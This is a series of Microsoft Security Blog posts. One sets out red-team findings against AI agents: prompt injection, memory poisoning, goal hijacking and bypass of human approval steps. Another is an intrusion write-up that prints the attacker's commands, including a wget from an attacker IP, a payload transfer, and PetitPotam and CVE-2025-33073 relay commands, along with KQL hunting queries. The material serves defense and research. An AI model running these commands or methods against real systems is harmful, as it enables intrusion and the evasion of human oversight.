Twelve months later, the evidence base has shifted enough to warrant a v2.0. The update adds seven new failure mode categories, expands the mitigations section, and grounds the framework in 12 months of red team engagements against deployed agentic systems.

Why the Taxonomy Needed Updating

Four developments drove the revision. 

Open-source agentic frameworks went mainstream faster than the security community was ready for. OpenClaw, launched in January 2026, accumulated over 336,000 GitHub stars and spawned more than 2,100 agents within 48 hours of release. A security audit conducted shortly after launch identified 512 vulnerabilities including CVE-2026-25253, a one-click RCE via WebSocket hijacking. Over 1,800 exposed instances were leaking API keys and credentials within the first week, and 336 malicious plugins were found in the skills marketplace, including credential stealers masquerading as trading bots. 

The MCP ecosystem matured — and accumulated vulnerabilities at scale. The Model Context Protocol became the de facto standard for connecting models to external tools. In 2025, 99 CVEs were published for MCP-related software, and tool poisoning moved from theoretical risk to live attack surface. 

Computer-use agents moved from research to production. Agents that observe and interact with graphical interfaces introduce attack surfaces with no analogue in earlier AI security work, and expose previously human-targeted attack patterns to LLMs. The original taxonomy lacked dedicated coverage for this capability class; operational experience made clear it requires its own category. 

Twelve months of red team operations provided empirical grounding. The v1.0 taxonomy was forward-looking. The v2.0 update is grounded in patterns observed across real engagements with findings that confirmed some predictions, falsified others, and surfaced failure modes that were not anticipated. 

Seven new failure modes

1. Agentic Supply Chain Compromise. Agentic systems consume plugin registries, MCP servers, prompt templates, and third-party tool integrations, each a new supply chain ingestion point. Unlike traditional supply chain compromise, which delivers malicious code, a compromised agentic supply chain component injects natural-language instructions that alter agent behavior without touching any binary. This is a novel failure mode: the attack surface did not exist before agents began consuming natural-language tool definitions from third-party registries. 

2. Goal Hijacking. The original taxonomy covered agent compromise but did not sufficiently distinguish the mechanism of compromise from the strategic objective of redirecting the agent’s goal state. Goal hijacking captures a specific pattern, when adversarial instructions that appear aligned with legitimate task completion silently redirecting the agent’s terminal goal, without fully compromising the underlying agent. 

3. Inter-Agent Trust Escalation. Multi-agent architectures involve delegation chains where orchestrators pass tasks to other agents. This entry addresses privilege escalation that becomes possible when a compromised agent asserts false identity or inflates claimed permissions to an orchestrator that does not independently verify them. The pattern mirrors confused deputy problems in traditional software, but the confusion is induced through natural language rather than system calls. 

4. Computer Use Agent (CUA) Visual Attack. Agents operating through graphical interfaces can be manipulated through visual content that appears innocuous to humans but carries adversarial instructions for the agent. Attack patterns include hidden text rendered at non-human-readable scale, UI elements positioned outside the visible viewport, and images embedding prompt injection in content the agent is instructed to interpret. This failure mode has no meaningful precedent in v1.0. 

5. Session Context Contamination. Agentic sessions often span extended, multi-step interactions with context accumulating from prior steps. Session context contamination occurs when an adversary introduces data early in a session that biases the agent’s reasoning in subsequent steps, without triggering safety controls at any individual step. 

6. MCP / Plugin Abuse. The original taxonomy’s coverage of function compromise predated standardization around MCP and plugin protocols. This entry captures attack surfaces specific to those protocols: tool description poisoning, server-side instruction injection, cross-server instruction override (a malicious server overriding behavior of trusted servers), and abuse of protocol-level trust assumptions. 

7. Capability / Architecture Disclosure. This failure mode occurs when an agent reveals internal implementation details such as tool names and schemas, system-prompt structure, memory interfaces, or consent/HitL trigger logic, either on direct request or via paths such as XPIA. In single-turn chat, prompt leakage is mostly reputational. In agentic systems, it exposes operational primitives and turns black-box probing into a white-box exploit path. 

Operational findings: What red teaming showed

Twelve months of engagements against deployed agentic systems produced several consistent patterns. 

HitL bypass was the most consistently exploited failure mode, at very high frequency. Red teamers achieved bypass through consent fatigue, manipulation of probabilistic invocation, and incremental escalation chains where no individual step clearly warranted review but the compound outcome did. Most significantly, several engagements demonstrated zero-click end-to-end chains starting from an external input with no human interaction beyond the initial agent invocation, achieving high-impact outcomes such as exfiltration or lateral movement. 

XPIA and memory poisoning were observed at high frequency and frequently combined. Cross-domain prompt injection delivered via external content remained the most reliable initial access vector. Memory poisoning via XPIA, where injected instructions seed the agent’s persistent memory for later retrieval, requires only a single successful injection, which the agent then propagates across subsequent sessions. 

Session context contamination and incremental escalation were highly effective and difficult to detect. Neither the contaminating input nor any individual escalation step is clearly anomalous in isolation. Detection requires behavioral analysis across the full session, something most systems did not have. 

Capability disclosure was a key enabler of follow-on attack paths. In many of our highest-impact attack chains, execution was predicated on extracting specific architecture or capability details from the system. This often required only asking the system directly, but it consistently exposed inconsistencies in guardrails and opened attack paths that would otherwise have required external reconnaissance. 

New mitigations

Supply chain security for agentic components. Treat every external component an agent can consume as part of the software supply chain. SBOM generation for agent deployments inclusive of tool dependencies; signature and provenance verification for MCP servers and plugins before installation; registry scanning for hidden instructions in tool descriptions; version pinning with change monitoring for all external tool definitions. 

Zero-trust inter-agent architecture. For high-risk scenarios, agent identity should be cryptographically established, not assumed from position in a workflow. Every inter-agent message should carry a verifiable identity claim. Orchestrators should not grant elevated permissions to sub-agents based on self-asserted role. 

Consent architecture hardening. HitL controls must resist the specific patterns observed in red team operations: compound action decomposition before approval presentation, semantic summarization of agent-constructed descriptions to prevent description laundering, tiered approval requirements that scale with action reversibility and blast radius, deterministic HitL invocation, and anomaly detection on approval request frequency and pattern. 

Adversarial session hardening. Mitigating session context contamination requires treating the agent’s accumulated context as a security-relevant data structure. Controls include context provenance tracking, structured separation between trusted system context and untrusted retrieved content, session integrity monitoring for anomalous accumulation patterns, and bounded session contexts that limit how much external content can influence a session’s reasoning. 

What to do this quarter

If you operate or defend an agentic system, the v2.0 additions translate to four concrete actions: 

• Inventory your supply chain. Generate an SBOM for every deployed agent that includes plugins, MCP servers, prompt templates, and tool descriptions alongside code dependencies. Pin versions; treat natural-language tool descriptions as code. 

• Verify agent identity cryptographically, not positionally. Issue attestable credentials at provisioning. Reject self-asserted role claims at orchestrator handoffs. 

• Add the seven new categories to your red-team coverage matrix. Treat CUA visual attacks, session context contamination, capability disclosure, and goal hijacking as mandatory test classes for any agent that touches production data or external surfaces. 

• Audit human-in-the-loop UX as a security control. Decompose compound actions, summarize approval prompts from the underlying tool calls (not from the agent’s own description), tier approvals by reversibility, and monitor approval frequency for consent-fatigue exploitation signals. 

If you are building agentic systems, the updated taxonomy is a threat modeling tool, not a compliance checklist. Take each failure mode category and ask whether it can occur in your system, under what conditions, and whether you have a control that would detect or prevent it. 

For red teamers: the seven new categories should be mandatory coverage areas. Zero-click HitL bypass chains, inter-agent trust escalation, and session context contamination will not be surfaced by model-level evaluation alone. They require system-level testing and multi-step attack chains evaluated across complete task flows. 

For security engineers: supply chain and zero-trust mitigations are architectural decisions, and difficult to retrofit. Building SBOM generation, tool provenance verification, and inter-agent authentication into your architecture from the start costs substantially less than adding them after deployment. 

The taxonomy is a living document. The failure modes added in v2.0 are the ones that twelve months of operational data made compelling enough to include. As agentic systems acquire new capabilities — persistent cross-session memory at scale, autonomous agent spawning, physical environment interaction — the failure mode surface will continue to expand. We will continue to update the taxonomy as the evidence base develops. 

The updated whitepaper is available now. We welcome engagement from practitioners whose operational experience identifies failure modes or attack patterns not yet reflected in the taxonomy. 

The post Updating the taxonomy of failure modes in agentic AI systems: What a year of red teaming taught us  appeared first on Microsoft Security Blog.

A growing trend in modern intrusions is the compromise of internet-facing edge appliances such as firewalls and VPN gateways. Systems traditionally deployed as security boundaries are increasingly becoming initial access points due to the continued discovery and exploitation of critical vulnerabilities.

Because these devices are externally exposed, lightly monitored, and highly trusted inside enterprise environments, compromise can provide a durable foothold with limited visibility. Edge appliances often store credentials, certificates, session material, authentication tokens, and identity integrations with directories, cloud services, and identity providers. Once compromised, these trust relationships can enable lateral movement that bypasses traditional security controls.

In this incident, the threat actor compromised an internet-facing firewall appliance and used trusted relationships to pivot to an internal Linux host. From there, the threat actor compromised a vulnerable SaaS application and leveraged its credentials to conduct relay-style authentication attacks against Active Directory.

This incident reflects a broader shift toward identity-centric, multi-domain attack chains that span network infrastructure, endpoints, SaaS platforms, cloud workloads, and identity systems. Organizations should treat edge devices, non-Windows systems, and cloud identities as security-critical assets, prioritize monitoring across these environments, and use attack path analysis to identify where threat actors are most likely to establish initial access.

Attack chain overview

Initial access: Exploiting edge appliances

The threat actor established SSH access to the first Linux host from a network device identified as an F5 BIG-IP load balancer. Device inventory confirmed the source as an Azure-hosted appliance running version 15.1.201000. This is a specific BIG-IP Virtual Edition (VE) image version deployed primarily in cloud environments and commonly used in Azure ARM templates and Terraform modules for deploying F5 BIG-IP instances. This version of BIG-IP reached end-of-life (EOL) on December 31, 2024. Retiring deprecated firewalls is a security imperative, as unsupported hardware might leave the network exposed to modern threats.

This aligns with a broader pattern observed in recent high‑impact incidents, where internet‑facing edge devices such as routers, firewalls, and gateways are compromised through N‑day vulnerabilities. Operational constraints, including the availability of maintenance windows, could delay the installation of software updates for these appliances. When such devices are compromised, threat actors might be able to abuse or extract embedded trusted identities, enabling lateral movement that can bypass traditional perimeter and endpoint‑focused controls.

In this incident, the threat actor authenticated to a Linux server over SSH using a privileged account. The threat actor maintained this level of access throughout the observed activity without establishing explicit persistence mechanisms, underscoring the risk posed by over-privileged identities with sudo rights. The threat actor maintained sustained hands-on keyboard access throughout the attack, directly executing actions during the SSH session.

Discovery and reconnaissance

The threat actor performed extensive reconnaissance of the host and network, including file enumeration, network scanning, and service discovery. They aggressively scanned the internal network subnets with Nmap to identify connected hosts, and then used Nmap on the identified hosts to detect open services. This execution was automated using a shell script. The threat actor performed a horizontal scan to identify connected assets, and then performed a more thorough vertical scan using the results from the first scan.

The threat actor used gowitness to perform a detailed reconnaissance of the HTTP/HTTPS services identified in the previous scan.

gowitness scan nmap -f $i --write-db --write-screenshots --screenshot-path ./screenshots --screenshot-fullpage --open-only --service-contains http --delay 5 --threads 1 --chrome-proxy socks5://127.0.0.1:9090

Where they identified Windows servers, the threat actor tried common NTLM-based lateral movement techniques using the following open-source tools:

• enum4linux
• netexec
• nmbclient
• smbclient
• rpcclient
• timeroast
• ldapsearch
• kerbrute
• nxc
• responder

These initial attempts were unsuccessful.

The threat actor then downloaded a custom scanning tool from 206.189.27[.]39 using wget:

wget http://206.189.27[.]39:8888/5

The scanning tool file was detected as HackTool:Linux/MalPack.B. The tool performed reconnaissance of the organization’s web infrastructure. The organization uses multiple web applications and mobile services (for example, Firebase and GCM). The reconnaissance tool attempted to connect to the applications and services that the compromised Linux server interacts with, most likely to enumerate and identify access controls.

Lateral movement and identity compromise

During reconnaissance, the threat actor identified an Atlassian Confluence server within the network with unpatched vulnerabilities and leveraged these vulnerabilities to execute code remotely. Due to better hardening as a result of RTP being turned on, the threat actor used the initial Linux host as a staging server and had to try multiple ways of dropping the payload into the target Confluence server. Each time they dropped the payload onto the host, it was blocked. Assuming network-level blocking, the threat actor set up an FTP server on the initial Linux host using Python’s ftplib module to transfer the custom scanning tool to the Confluence server.

curl -o /dev/shm/ag ftp://anonymous:anonymous@[REDACTED_LOCAL_IP]/5

After compromising the Confluence server, the threat actor obtained credentials and used them to attempt authentication against Windows infrastructure from the following files:

• /opt/atlassian/confluence/conf/server.xml
• /var/atlassian/application-data/confluence/confluence.cfg.xml

This was followed by Kerberos relay attacks and exploitation of CVE-2025-33073, highlighting the risk of credential theft from internal web applications and the importance of monitoring cross-system authentication events.

nxc smb [REDACTED_IP] -d [REDACTED_DOMAIN].com -u Jiraservices -p '********* -M coerce_plus -o M=PetitPotam L="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

python3 CVE-2025-33073.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** --attacker-ip [REDACTED_IP] --dns-ip [REDACTED_IP] --dc-fqdn [REDACTED_HOSTNAME].[REDACTED_DOMAIN].com --target [REDACTED_HOST] --target-ip [REDACTED_IP]

python3 dnstool.py -u [REDACTED_DOMAIN].com\Jiraservices -p ******** [REDACTED_HOST].[REDACTED_DOMAIN].com -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d [REDACTED_IP] -dns-ip [REDACTED_IP]

The threat actor used testssl to probe for SSL/TLS weaknesses, indicating an attempt to identify downgrade paths and protocol misconfigurations.

This incident vividly demonstrates that vulnerable applications don’t need to be directly exposed to the internet to result in high severity compromises. Once an initial foothold is established, threat actors can pivot laterally and target internally accessible services to escalate privileges, expand access, or deploy tooling deeper into the environment.

In cloud and hybrid deployments, this risk is amplified by the implicit-trust boundaries between applications and services, where authenticated identity, network locality, and service-to-service trust can be abused. As a result, unpatched internal applications, particularly those running with elevated permissions or trusted identities, represent a critical attack surface and can materially impact the overall security posture of the environment.

From initial access to the final stage, the threat actor was systematically probing the tenant and experimenting with multiple techniques to expand access. During this phase, they identified and abused several assets that ultimately provided elevated privileges, illustrating that threat actors don’t need advanced sophistication to be effective – only time, persistence, and the presence of exploitable security gaps across the environment.

This intrusion demonstrates how a single remote code execution vulnerability in a perimeter-facing web component can ultimately cascade into identity compromise in a completely separate application, crossing platform and trust boundaries. Even in environments with hardened Windows systems, insufficient monitoring and delayed patching across a hybrid estate can result in trusted identities and internal application relationships being abused. The breadth of techniques employed by the threat actor and their repeated hands-on keyboard activity, including attempts to further compromise a domain controller, underscore the reality that determined threat actors will systematically pursue all available paths until a viable route to full-tenant compromise is achieved.

Mitigation and protection guidance

Treat internet-facing edge appliances as Tier-0 assets and enforce lifecycle + patch governance.

In this intrusion, the initial foothold came from an end-of-life F5 BIG-IP version. Organizations should maintain an accurate inventory of externally exposed appliances, track end-of-support dates, and operationalize rapid patching for known-exploited vulnerabilities. Where immediate patching isn’t feasible, compensating controls should be applied, such as restricting management-plane exposure, reducing permitted source IP ranges, and increasing telemetry and alerting for anomalous administrative access.

Harden and patch internal web applications with the same urgency as internet-facing services.

Although Confluence was not exposed externally, an unpatched internal service still enabled remote code execution once the threat actor had network access. Critical internal applications (like Confluence) should be patched and monitored even if they have no direct internet exposure, because they often hold sensitive information and become reachable from outside the network after a threat actor gains any internal foothold. Treat internal applications as part of your critical attack surface: regularly look for known vulnerabilities and apply security updates quickly.

Apply identity hardening to reduce the feasibility and blast radius of relay-style authentication attacks.

After credential theft, the threat actor attempted Kerberos relay and other Windows authentication abuse against domain infrastructure. Defensive measures include minimizing or disabling NTLM where possible, enforcing SMB signing, enabling LDAP signing and channel binding, and using Extended Protection for Authentication (EPA) on applicable services to bind authentication to the channel and reduce relay success. Combine these controls with a tiered administration model (separate admin accounts and no reuse of privileged credentials on lower-trust hosts) to prevent a single-application credential compromise from leading to domain compromise.

Help prevent implant execution and common lateral movement tooling with Microsoft Defender in block mode.

This intrusion involved custom ELF payloads and commodity tooling, including network scanners, tunneling/backdoor binaries, and NTLM/Kerberos-focused utilities, all of which rely on successful execution on Linux hosts. In the environment where this intrusion occurred, real-time protection was only enabled on one machine, and on that host it blocked the attempted execution. To reduce dwell time and help prevent follow-on lateral movement, enable Defender prevention capabilities consistently across Linux servers.

Microsoft Defender XDR detections

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

• Incident investigation 
• Microsoft User analysis 
• Threat actor profile 
• Threat Intelligence 360 report based on MDTI article 
• Vulnerability impact assessment 

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.   

Advanced hunting

SSH login from F5 BIG-IP device

let lookback = 7d;
let dhcpTolerance = 2h; // Tolerance for DHCP IP address changes
let FilteredDevices =
    DeviceInfo
    | where Timestamp > ago(lookback)
    | where Vendor == "F5"
    | where OSVersion == "15.1.201000"
    | extend SourceDeviceId = DeviceId
    | summarize by SourceDeviceId;
let DeviceIpSnapshots =
    DeviceNetworkInfo
    | where Timestamp > ago(lookback)
    | where isnotempty(IPAddresses)
    | extend IPAddresses = todynamic(IPAddresses)
    | mv-expand ip = IPAddresses
        | extend IPAddress = tostring(ip.IPAddress)
        | where isnotempty(IPAddress)
    | project SourceDeviceId = DeviceId, SourceIPAddress = IPAddress, SourceIpTimestamp = Timestamp
    | join kind=inner FilteredDevices on SourceDeviceId;
DeviceLogonEvents
| where Timestamp > ago(lookback)
| where ActionType == "LogonSuccess"
| where isnotempty(RemoteIP)
| project LogonTimestamp = Timestamp, DestinationDeviceId = DeviceId, RemoteIP, AccountName, InitiatingProcessFileName
| join kind=inner (
        DeviceIpSnapshots
    ) on $left.RemoteIP == $right.SourceIPAddress
| where LogonTimestamp between ((SourceIpTimestamp - dhcpTolerance) .. (SourceIpTimestamp + dhcpTolerance))
| extend IpAssignmentToLogonDeltaSeconds = abs(datetime_diff("second", LogonTimestamp, SourceIpTimestamp))
| summarize arg_min(IpAssignmentToLogonDeltaSeconds, *) by LogonTimestamp, RemoteIP, DestinationDeviceId
| project LogonTimestamp, SourceDeviceId, DestinationDeviceId, RemoteIP, SourceIpTimestamp, IpAssignmentToLogonDeltaSeconds, AccountName, InitiatingProcessFileName
| order by LogonTimestamp desc

Credential discovery from Confluence

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where (FileName == "cat" and ProcessCommandLine has_any ("server.xml", "confluence.cfg.xml" , "setenv.sh"))

Payload delivery through compromised Confluence server

let lookback = 7d; 
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName == "java"
| where InitiatingProcessCommandLine has_all ("/bin/java -Djava", " -classpath /opt/atlassian/confluence/bin/bootstrap.jar")
| where ProcessCommandLine has_any ("chmod 777 /dev/shm", "chmod 777 /tmp" , "base64 -d > /dev/shm", "curl -o /dev/shm/", "curl -o /tmp/")

Indicators of compromise (IOC)

MITRE ATT&CK techniques observed

This campaign exhibited the following MITRE ATT&CK techniques across multiple tactics. For detailed detection and prevention capabilities, see the Microsoft Defender XDR detections section above.

References

• BIG-IP APM vulnerability CVE-2025-53521 https://my.f5.com/manage/s/article/K000156741
• CISA Adds CVE-2025-53521 to KEV After Active F5 BIG-IP APM Exploitation  https://thehackernews.com/2026/03/cisa-adds-cve-2025-53521-to-kev-after.html
• Cisco Firewall and VPN Zero Day Attacks  https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
• Exploitation of Palo Alto firewall devices https://www.darktrace.com/blog/darktraces-view-on-operation-lunar-peek-exploitation-of-palo-alto-firewall-devices-cve-2024-2012-and-2024-9474

This research is provided by Microsoft Defender Security Research with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 

The post From edge appliance to enterprise compromise: Multi-stage Linux intrusion via F5 and Confluence appeared first on Microsoft Security Blog.

Logs and telemetry are the foundation of modern cybersecurity. They enable threat detection, incident response, forensic investigation, and compliance across endpoints, networks, and cloud environments. Yet, despite their importance, high‑quality security attack logs are notoriously difficult to collect, especially at scale. 

Real‑world security telemetry is often composed of repeated benign activity occurring across environments and with very rare malicious activity. Gathering, labeling, and maintaining datasets with real attack logs is costly and operationally challenging. It requires not only labeling malicious activities, but also fully reconstructing attack scenarios. These challenges significantly slow detection engineering and limit the quality of both the rule-based detection authoring and anomaly-detection approaches. 

In this post, we explore a different path: using AI to generate realistic, high‑fidelity synthetic security attack logs. By translating attacker behaviors, expressed as tactics, techniques, and procedures (TTPs)—directly into structured telemetry, we aim to accelerate detection development while preserving realism and security. 

Why is this work important for Microsoft Defender customers? 

For Microsoft Defender customers, this work is crucial because it directly addresses the challenge of obtaining high-quality, realistic security attack logs needed for effective threat detection and response. By leveraging AI-driven synthetic log generation, organizations can accelerate the development of detection rules and AI-based automation approaches, while ensuring privacy and reducing operational overhead. Synthetic logs enable customers to simulate a broader range of attack scenarios—including rare and emerging threats—without exposing sensitive data or relying on costly lab-based simulations. Ultimately, this approach enhances the agility and effectiveness of Microsoft Defender detection and response capabilities, helping customers stay ahead of evolving cyber threats. 

Why Synthetic Security Logs in addition to Lab Simulations? 

Synthetic data has been widely adopted in various fields as a privacy-conscious substitute for real data, and it offers even greater advantages in cybersecurity. It enables the creation of safe, shareable datasets that avoid exposure of sensitive customer information, allows simulation of rare or emerging attacks that are challenging to observe in real environments, accelerates the process of detection engineering and testing, and supports reproducible experiments for benchmarking and evaluation. 

While synthetic logs are not a replacement for all lab-based validation, they can complement lab simulations by speeding up early-stage detection design, testing, and coverage expansion. Traditionally, generating realistic attack telemetry requires executing real attacks in controlled lab environments. While accurate, this approach is slow, labor‑intensive, and difficult to scale. It also limits agility for the security teams responsible for defending our systems and delays the rollout of new threat detections into production. This blog examines whether AI-assisted synthetic log generation can provide similar fidelity, without the operational overhead of lab‑based attack execution. 

Core Idea: From TTPs to Logs

Attackers can abuse TTP through various actions that exploit different processes. At a high level, the proposed workflow consumes “TTP + Action” as input and produces structured security logs as output. 

Input: High‑level attacker TTPs from the MITRE ATT&CK framework [1], a widely used knowledge base of adversary tactics and techniques, and concrete attacker actions. See the example below. 

Output: Realistic log entries with correctly populated fields such as “Command Line”, “Process Name”, “Parent Process Name”, and other relevant telemetry fields. 

Goal: The goal is not to reproduce logs verbatim, but to generate realistic, semantically correct logs that would accurately trigger detections, mirroring real attacker behavior. 

Approaches for Synthetic Attack Log Generation

We explore three increasingly sophisticated techniques for generating logs. 

1. Prompt‑Engineered Generation: Our baseline approach uses a series of carefully designed expert‑crafted prompts. The workflow comprises a structured, multi‑stage dialogue: 
   • Prompting: The model is given a detailed attack scenario and context. 
   • Iterative Generation: Logs are generated across multiple turns to maintain coherence. 
   • Evaluation: An independent large language model (LLM)-as-a-Judge assesses realism and consistency. 

As depicted in the following image, the prompts explicitly instruct the model to reason like a cybersecurity researcher, leverage MITRE ATT&CK knowledge, and produce coherent attack narratives. 

2. Agentic Workflow-based Generation: While the first approach works well in simpler cases, it struggles with complex, multi‑stage scenarios. To address these limitations, we introduced an agentic workflow using three specialized agents focused on different tasks: 
   • Generator Agent: Produces an initial set of logs based on the input. 
   • Evaluator Agent: Reviews logs and provides structured feedback. 
   • Improver Agent: Suggests targeted refinements based on feedback. 

As depicted in the image below, these agents collaborate in an iterative loop (generate, evaluate, improve), allowing the system to correct errors, fill gaps, and refine details over multiple turns. This collaborative process significantly improves log completeness and fidelity, especially for complex attack chains. 

3. Multi-Turn Reinforcement Learning with Verifiable Rewards: While the synthetic logs generated by the agentic workflow are often semantically correct, preserving key properties like parent‑child process relationships and event ordering, they still differ noticeably from real event logs, especially in process paths, command‑line arguments, service names and so on. This limits the usage of these logs to test detection efficacy; effective detection engineering requires reliably distinguishing benign activity from malicious behavior.  
   To address this challenge, we conduct experiments using Reinforcement Learning with Verifiable Rewards (RLVR). Instead of rigid rewards used by the evaluator agent in the previous agentic workflow approach, we use partial rewards to learn the policies as follows: 
   • We use an LLM‑as‑a‑Judge as follows to compare the synthesized data against ground‑truth logs.  
   • The model only awards partial rewards based on semantic alignment and imposes a penalty if the generated string is not an exact match of the ground-truth logs, producing a more context-aware and flexible reward signal to guide the learning process. 
   • The judge also produces reasoning, making evaluations transparent, and auditable. 

While this direction of research shows a lot of promise, it is heavily dependent on the amount of labeled training data. To address this limitation, we applied data augmentations, including: 

• Paraphrasing attack narratives while preserving technical intent 

• Perturbing parameters (e.g., replacing executable names with plausible alternatives, re-ordering flags, etc.) 

This allowed us to scale from hundreds to thousands of training examples. 

Evaluation Datasets

To ensure our approach generalizes across environments and attack types, we evaluated it on three complementary datasets: 

1. Goal‑Driven (GD) Campaigns: These are tightly scoped datasets produced by repeatable attack simulations conducted by our threat researchers. GDs are built around a specific security objective (e.g., detecting credential dumping on Windows servers). They provide clean ground truth and well‑defined attacker actions. We used a total of 10 different GD executions to evaluate our approaches. 

2. Security Datasets Project: An open‑source initiative [2] that provides malicious and benign datasets from multiple platforms, enabling broader evaluation and generalizability across different environments.  

3. ATLASv2 Dataset: The ATLASv2 dataset [3] is comprised of Windows Security Auditing logs, Sysmon logs, Firefox logs, and Domain Name System (DNS) telemetry. These logs are generated across two Windows VMs by executing 10 multi‑stage attack scenarios and introducing realistic noise and cross‑host behaviors. We limited the evaluation of synthetic attack logs to malicious activity during the attack windows. 

Note: The external datasets from the Security Datasets Project and ATLASv2 are used strictly for research and validation of our log generation methods. These datasets are not used in the development, training, or deployment of any commercial products. 

Evaluation 

Methodology: We evaluated the prompt engineering and agentic workflow approach on the three datasets across multiple reasoning and non‑reasoning models, using recall as our primary metric. Recall measures the model’s ability to generate semantically relevant log instances (true positives) expected for a given attack scenario. Our LLM‑as‑a‑Judge performs flexible matching, focusing on: 

• New process name 

• Parent process name 

• Command line semantics 

For example, a synthetic log containing “forfiles.exe” can successfully match a ground‑truth entry with the full path “D:\Windows\System32\forfiles.exe”. 

Key Results: The results in experimental evaluation demonstrate that prompt-only  approaches establish a baseline but show inconsistent performance. The agentic workflows deliver dramatic recall improvements across all datasets. Reasoning models, combined with agentic refinement, achieve the highest fidelity.  

Finally, our experiments training reinforcement learning approaches conclude that while it shows a significant promise, a substantial amount of labeled data will be required for the agent to learn effective policies to make the synthetic data identical to benign logs. 

Table 1 and Table 2 report the performance of the prompt-based and agentic workflow-based approaches, respectively. For reasoning models (o1, o3 and o3-mini), we report the recall values using a Medium reasoning effort. Overall, agentic collaboration emerges as the most effective technique for high‑quality synthetic attack logs generation. 

Across the evaluation datasets we used, AI‑driven synthetic log generation shows strong potential to produce semantically meaningful logs from TTPs and attacker actions. It can capture multi‑event sequences, preserve parent‑child process relationships, and generate realistic command lines.

This capability can accelerate detection engineering by reducing dependence on costly lab setups and enabling rapid experimentation, without sacrificing realism or safety. Our early experiments with reinforcement learning with verifiable rewards also look promising and could improve verbatim alignment when sufficient training data is available. 

References

• MITRE ATT&CK Framework: MITRE ATT&CK®  

• Security Datasets: GitHub – OTRF/Security-Datasets: Re-play Security Events 

• ATLASv2: ATLAS Attack Engagements, Version 2: 2401.01341 

This research is provided by Microsoft Defender Security Research with contributions from Raghav Batta and  members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Accelerating detection engineering using AI-assisted synthetic attack logs generation appeared first on Microsoft Security Blog.

With the expansion of Microsoft Sentinel UEBA (User and Entity Behavior Analytics) into new data sources, spanning multi-cloud (AWS, GCP), identity providers (Okta), and authentication logs (Microsoft Defender for Endpoint DeviceLogon, Microsoft Entra ID Managed Identity, Service Principal sign-ins), defenders can now detect behavioral anomalies across hybrid environments from a single place.

We’ve also expanded AWS coverage with more anomalies, enrichments and insights, so CloudTrail events now arrive with more built-in context at ingestion time. This lets defenders triage suspicious activity faster without building and maintaining large baselines in KQL.

Many defenders analyze CloudTrail activity using thresholds or historical patterns to identify unusual behavior. In dynamic cloud environments, interpreting this activity can be challenging without additional behavioral context.

Microsoft Sentinel UEBA shifts the burden away from query authors by enriching raw AWS logs with simple binary insights (true/false) derived from user, activity, and device behavior patterns – such as first-time geography, uncommon ISP, unusual action, and abnormal operation volume. Detection authors can stack these binary signals or combine them with built-in UEBA anomalies to surface attacker behavior that would otherwise blend into routine CloudTrail activity.

In this post, you’ll learn how binary feature stacking works, how UEBA baselines AWS identities (human and non-human), and how to use UEBA enrichments and built-in anomalies to strengthen AWS detections and triage.

Defenders investigating AWS activity often rely on raw CloudTrail logs, static thresholds, or manually-engineered baselines to differentiate between normal operational patterns and adversary behavior. While CloudTrail captures rich activity data, defenders often need behavioral context – such as historical usage patterns, geography, and device signals – to distinguish routine operations from suspicious behavior. This is where Microsoft Sentinel UEBA adds value.

Microsoft Sentinel UEBA enriches raw AWS logs with simple, binary behavioral insights (true/false) derived from baseline user, peer, and device behavior patterns – such as first-time geography, uncommon ISP, unusual action, and abnormal operation volume. These clear binary signals help establish behavioral context and inform investigation and detection decisions. This post refers to this approach as binary feature stacking.

Under the hood: The tables

Microsoft Sentinel UEBA surfaces AWS behavioral context in two tables: BehaviorAnalytics and Anomalies.

BehaviorAnalytics table

The BehaviorAnalytics table is the primary investigation surface for UEBA-enriched AWS activity. EventSource field identifies the log source (for example, AWSCloudTrail), ActivityType maps to service level AWS EventSource (for example, S3, KMS, or IAM), and ActionType captures the AWS API name (for example, ConsoleLogin or CreateUser). Use these fields to filter and scope specific categories of AWS activity.

UEBA provides enrichments in three dynamic fields (UserInsights, DeviceInsights and ActivityInsights)– most importantly ActivityInsights, a JSON property bag that contains the binary behavioral features used for baseline-driven profiling. These enrichments are calculated at the user and tenant (AWS AccountId) level, as well as the activity level (for example, uncommon high volume of operations). Each enrichment uses a different baseline window, ranging from 7 days to 180 days.

